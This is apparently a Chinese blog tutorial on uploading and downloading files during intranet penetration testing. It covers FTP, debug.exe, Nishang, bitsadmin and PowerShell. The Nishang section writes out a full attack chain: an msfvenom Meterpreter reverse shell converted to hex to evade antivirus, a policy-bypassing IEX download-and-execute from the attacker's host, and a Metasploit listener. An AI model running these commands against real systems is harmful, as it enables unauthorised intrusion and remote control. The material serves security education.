上传、下载--内网渗透中的工具使用
主要介绍在渗透测试情况下如何使用工具进行文件的上传和下载
用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
在上一篇文章中,我们已经介绍了压缩工具的使用压缩--RAR、7-Zip工具使用-CSDN博客,接下来我们就介绍相关的上传、下载工具,在不能上传Shell,但是可以执行命令行目标机的情况下,上传和下载操作就是比较好的优先级操作了。
一、FTP协议上传
1、FTP 协议上传的基本原理
FTP 协议通过控制连接和数据连接两个通道工作:
- 控制连接:客户端通过 TCP 连接到服务器的 21 端口,用于发送命令(如登录、切换目录、上传指令等)和接收服务器响应。
- 数据连接:专门用于传输文件数据,分为两种模式:
- 主动模式:服务器主动连接客户端的 20 端口传输数据。
- 被动模式:客户端连接服务器临时开放的端口(由服务器告知)传输数据(更常用,尤其在客户端有防火墙时)。
上传核心命令是STOR(Store),客户端通过该命令告知服务器 “要上传文件”,并随后通过数据连接发送文件内容。
2、命令行操作步骤
几乎所有操作系统(Windows、Linux、macOS)都自带ftp命令行工具,操作逻辑一致,以下是标准步骤:
1. 准备工作
- 确认目标 FTP 服务器的地址(IP 或域名)、端口(默认 21)、登录用户名和密码。
- 准备好要上传的本地文件,记录其完整路径(如
C:\files\test.txt或/home/user/data.zip)。
2. 连接 FTP 服务器
打开命令提示符(Windows)或终端(Linux/macOS),输入以下命令连接服务器:
ftp [服务器地址] [端口] # 端口默认21,可省略

3. 登录服务器
连接成功后,会提示输入用户名和密码:
Name (ftp.example.com:当前用户): 输入用户名 # 如"admin"或匿名登录用"anonymous"
Password: 输入密码 # 匿名登录通常直接回车(或输入任意邮箱)

登录成功后,会显示服务器欢迎信息,提示符变为ftp>,表示已进入 FTP 交互模式。


提示:如果使用root用户登录,会失败,因为ftp登录限制了root用户,如果想要使用root登录,就要进入下面的配置文件,将其中的root删除即可
sudo nano /etc/ftpusers
4. 切换目录(可选)
进入web目录下

- 切换远程服务器目录(上传到目标路径):
cd 远程目录路径 # 如 cd /uploads 或 cd "My Documents" - 切换本地文件所在目录(指定要上传的文件位置):
可通过lcd 本地目录路径 # 如 Windows: lcd C:\Users\Files;Linux: lcd /home/user/docspwd(查看远程当前目录)和!pwd(查看本地当前目录)确认路径。

5. 设置传输模式(关键)
FTP 有两种传输模式,必须根据文件类型选择,否则可能导致文件损坏:
二进制模式(推荐,适用于所有文件,如图片、压缩包、程序、脚本等):
binary

ASCII 模式(仅适用于纯文本文件,如.txt、.html 等):
ascii

建议默认使用binary模式,避免文件损坏。
6. 执行上传操作
使用put或send命令上传单个文件,语法:
put 本地文件名 [远程文件名] # 若不指定远程文件名,默认与本地文件名相同

若需上传多个文件,可使用mput命令(批量上传,支持通配符*):
mput *.jpg # 上传本地当前目录所有.jpg文件到远程当前目录
执行mput后会逐个询问是否上传,输入y确认,n跳过。
7. 验证上传结果
使用ls命令查看远程目录文件,确认上传成功:
ls # 列出远程当前目录的文件

8. 退出 FTP 连接
完成上传后,输入以下命令断开连接:
quit # 或 bye、exit
Windows 系统特殊说明
Windows 的ftp命令与 Linux 基本一致,仅本地路径格式不同(使用反斜杠\):
# Windows示例
ftp ftp.example.com
# 登录后...
lcd C:\Users\Documents # 切换本地目录
binary
put data.csv # 上传C:\Users\Documents\data.csv
ftp也是存在图形化应用的,比如XFTP,WinScp


二、Debug上传
在 渗透测试 或 受限系统维护 中,若目标机器(如 Windows)仅提供命令行界面(无图形化、无网络上传工具),DOS 调试工具 debug.exe 可作为 “曲线上传” 的手段:
debug.exe本身:是 DOS 时代的程序调试器,支持 汇编代码调试、内存 / 寄存器操作、磁盘扇区读写。- 渗透核心用法:利用其 “将十六进制文本转换为二进制可执行文件” 的能力,突破 “无法直接上传文件” 的限制(仅需传输文本内容)。
将可执行文件(.exe/.dll 等)转换为十六进制文本,通过命令行传输后,再用 debug 还原为二进制文件。
-
二进制 → 十六进制:
可执行文件是二进制数据,先将其转换为 十六进制字符串(如4D5A9000...),使其能通过echo等命令行工具以文本形式传输(规避 “无法直接传文件” 的限制)。 -
文本传输:
在目标机器,通过echo命令将十六进制文本逐行写入脚本(如.cmd文件),或直接在命令行执行。 -
十六进制 → 二进制:
运行debug.exe,加载脚本中的十六进制数据,通过debug的 写盘指令(w) 将其还原为可执行文件(二进制)。
由于此利用方式较久远,这里不做演示,仅了解即可。
三、Nishang上传
介绍
Nishang 并非传统 “文件上传工具”,而是通过 PowerShell 脚本 实现 “文本化传输 + 二进制还原” 的渗透技巧:
- 环境受限:目标机无 FTP、SCP 等工具,仅能执行命令;
- 检测规避:二进制文件(.exe)易被杀毒软件拦截,转为文本(Hex/Base64)更隐蔽;
- 权限维持:结合 PowerShell 原生能力,无需依赖第三方软件。
技术原理
-
文件编码转换:
将可执行文件(.exe)转为 十六进制(Hex)文本(或 Base64),使二进制数据伪装成 “普通文本”,绕过防火墙 / 杀毒软件的二进制检测。
→ 依赖 Nishang 的ExetoText.ps1脚本。 -
文本传输:
通过 HTTP、SMB 等协议传输文本内容(比二进制更易穿透限制)。 -
二进制还原与执行:
在目标机,用 Nishang 的Download_Execute.ps1等脚本,将文本转回二进制文件(.exe),并自动执行。
操作
步骤 1:攻击机配置



-
安装 Nishang:
git clone https://github.com/samratashok/nishang # 从GitHub下载 # 或 Kali 直接安装:sudo apt install nishang -
生成反向 Shell(以 MSF 为例):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=4444 -f exe > shell.exe -
将 exe 转为 Hex 文本:
用 Nishang 的ExetoText.ps1转换:# 在攻击机的PowerShell中执行(需进入Nishang目录) Import-Module ./Utility/ExetoText.ps1 ExetoText C:\shell.exe C:\shell.txt # 生成shell.txt(Hex文本) -
搭建 HTTP 服务:
让目标机可下载脚本和文本文件:sudo python3 -m http.server 80 # 启动80端口HTTP服务,共享Nishang目录和shell.txt
步骤 2:目标机执行(获取 PowerShell 权限后)
-
绕过 PowerShell 执行策略:
Windows 默认阻止脚本运行,需用-exec bypass绕过:powershell -nop -exec bypass -c "..." # -nop:无配置文件;-exec bypass:绕过策略 -
下载并运行
Download_Execute.ps1:
该脚本会下载 Hex 文本,转回 exe 并执行:powershell -nop -exec bypass -c " IEX(New-Object Net.WebClient).DownloadString('http://攻击机IP/nishang/Execution/Download_Execute.ps1'); Download_Execute http://攻击机IP/shell.txt "IEX:Invoke-Expression,执行下载的脚本;
Download_Execute:自动将 Hex 文本还原为 shell.exe 并运行,触发反向 Shell。
步骤 3:监听反向 Shell(攻击机)
在 Metasploit 中监听端口(与 msfvenom 配置一致):
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 攻击机IP
set LPORT 4444
run
与传统上传的对比
| 方式 | 优势 | 劣势 |
|---|---|---|
| Nishang | 纯 PowerShell,无需第三方工具;文本传输更隐蔽 | 依赖 PowerShell 环境;需绕过检测 |
| FTP/SCP | 直接高效 | 易被防火墙拦截;需账号权限 |
| Debug 上传 | 适用于极老系统(DOS 环境) | 仅支持 64KB 内文件;兼容性差 |
四、利用bitsadmin
bitsadmin 是 Windows 系统自带的 后台智能传输服务(BITS)命令行工具,可在后台异步传输文件(支持 HTTP/HTTPS/SMB 协议),特点是 低资源占用、支持断点续传,且因是系统原生工具,在渗透测试或命令行环境中不易被拦截。
1.核心原理
BITS 服务是 Windows 原生组件(从 WinXP 到 Win11 均内置),主要用于在后台传输大文件(如下载系统更新)。bitsadmin 作为其命令行接口,通过以下方式实现下载:
- 创建一个 BITS 任务,指定 源文件 URL 和 本地保存路径;
- 任务在后台运行(不阻塞当前命令行),可暂停 / 恢复,网络中断后会自动重试;
- 下载完成后,文件会被写入指定路径,任务状态变为 “已完成”。
2.基本下载命令
语法:
bitsadmin /transfer <任务名> <源URL> <本地保存路径>
示例(从 HTTP 服务器下载文件到 C:\temp):
# 创建并启动一个名为 "myDownload" 的任务,下载文件到 C:\temp\test.exe
bitsadmin /transfer myDownload http://example.com/file.exe C:\temp\file.exe
3.关键参数与进阶用法
| 场景需求 | 命令示例 | 说明 |
|---|---|---|
| 后台静默下载 | bitsadmin /transfer myTask /background http://x.com/f.exe C:\f.exe |
/background:任务在后台运行,不显示进度(适合脚本中使用) |
| 设置优先级 | bitsadmin /transfer myTask /priority normal http://x.com/f.exe C:\f.exe |
优先级:foreground(最高)、high、normal(默认)、low(最低) |
| 强制覆盖本地文件 | bitsadmin /transfer myTask /overwrite http://x.com/f.exe C:\f.exe |
/overwrite:若本地文件已存在,直接覆盖 |
| 下载到当前目录 | bitsadmin /transfer myTask http://x.com/f.exe .\f.exe |
. 表示当前目录(需确保当前目录有写入权限) |
| 从 SMB 共享下载 | bitsadmin /transfer myTask \\192.168.1.100\share\f.exe C:\f.exe |
支持访问局域网共享文件 |
4. 管理下载任务(查看 / 暂停 / 恢复 / 删除)
# 查看所有 BITS 任务状态(包括ID、名称、进度)
bitsadmin /list /allusers
# 暂停任务(需知道任务名或ID)
bitsadmin /suspend myDownload
# 恢复被暂停的任务
bitsadmin /resume myDownload
# 删除任务(无论是否完成)
bitsadmin /cancel myDownload

五、利用Powershell下载
powerShell 下载依赖 .NET 框架类 或 内置 cmdlet,利用 HTTP/HTTPS 协议传输文件。
方法 1:Invoke-WebRequest(PowerShell 3.0+ 内置)
- 原理:发送 HTTP/HTTPS 请求,支持下载文件、解析网页内容(如抓取链接)。
- 语法:
Invoke-WebRequest -Uri "文件URL" -OutFile "本地保存路径" - 示例:下载
file.exe到C:\temp:Invoke-WebRequest -Uri https://example.com/file.exe -OutFile C:\temp\file.exe
方法 2:.NET WebClient(兼容性最佳,PowerShell 2.0+ 可用)
- 原理:调用 .NET 框架的
System.Net.WebClient类,直接实现文件下载。 - 语法(一行命令版,渗透测试常用):
(New-Object System.Net.WebClient).DownloadFile("文件URL", "本地保存路径") - 示例:
(New-Object System.Net.WebClient).DownloadFile("https://example.com/shell.exe", "C:\temp\shell.exe")
方法 3:Start-BitsTransfer(依赖 BITS 服务,适合大文件)
- 原理:调用 Windows 后台智能传输服务(BITS),支持 断点续传、后台异步下载(网络中断自动重试)。
- 语法:
Start-BitsTransfer -Source "文件URL" -Destination "本地保存路径" - 示例:下载大文件
large.zip:Start-BitsTransfer -Source https://example.com/large.zip -Destination C:\temp\large.zip大多数情况下powershell都是禁用的,就是.psl脚本文件在默认情况下是禁止使用的,所以这里只进行了解,不实操。
魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。
更多推荐



所有评论(0)